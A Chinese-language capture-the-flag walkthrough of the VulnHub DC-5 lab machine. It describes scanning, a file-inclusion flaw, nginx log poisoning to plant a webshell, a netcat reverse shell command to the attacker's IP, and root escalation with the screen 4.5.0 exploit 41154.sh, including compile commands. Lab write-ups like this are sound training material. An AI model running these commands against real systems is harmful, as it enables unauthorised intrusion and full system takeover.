介绍

在VMware中搭建环境,网络选择NAT或者桥接,确保攻击机和靶机在同一网络下即可,我这里选择的NAT。

靶机:192.168.254.134(DC-5

攻击机:192.168.254.128(Kali)

物理机:192.168.254.1(Windows10)

信息搜集

nmap扫描靶机

成功扫描到目标靶机,开放了两个端口。

80端口存在http服务。

漏洞扫描

无框架等信息,只知道由Nginx反向代理,先扫目录。

未发现隐藏目录,只能从页面下手了。

contact.php页面存在提交,可能存在注入。

尝试后发现无注入,但是提交后的页面页脚一直在变,可能存在文件包含。

经测试,存在隐藏字段file可以包含文件。

漏洞利用

尝试伪协议写文件,失败。

已知中间件为nginx,尝试读取日志文件。

成功读取日志文件,写入木马。

成功执行!

反弹shell!

Kali 上监听 1234 端口。

$ nc -lvnp 1234

在靶机上反弹shell。

$ nc -e /bin/bash 192.168.254.128 1234

成功拿到shell!

flag

先搞个交互式shell。

$ python -c 'import pty; pty.spawn("/bin/bash")'

看看能不能提权。

$ find / -perm -u=s -type f 2>/dev/null

发现了可疑文件,查找一下相关漏洞

$ searchsploit screen 4.5.0

复制过来,上传到靶机上执行,报错

看看脚本怎么写的

可以分为三个部分:前两个部分为c语言程序,第三部分为shell脚本

结合错误分析,应该是前两个部分编译文件时出了问题,无法正常编译导致文件找不到

因此只能在本地编译好后分开上传再执行

先将前两个程序编译好

$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
$ gcc -o /tmp/rootshell /tmp/rootshell.c

-fPIC 参数表明使用地址无关代码。

-shared 参数表明产生共享库。

-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。

/tmp目录下会生成两个文件

将第三部分作为一个单独的文件

共三个文件,上传到靶机的/tmp目录下

41154.sh添加执行权限并执行

$ chmod +x 41154.sh
$ ./41154.sh

成功提权!

成功拿到flag!

总结

学到的知识点

  1. 敏感文件检索

参考

  1. vulnhub靶场,DC-5
  2. vulnhub DC5 靶场练习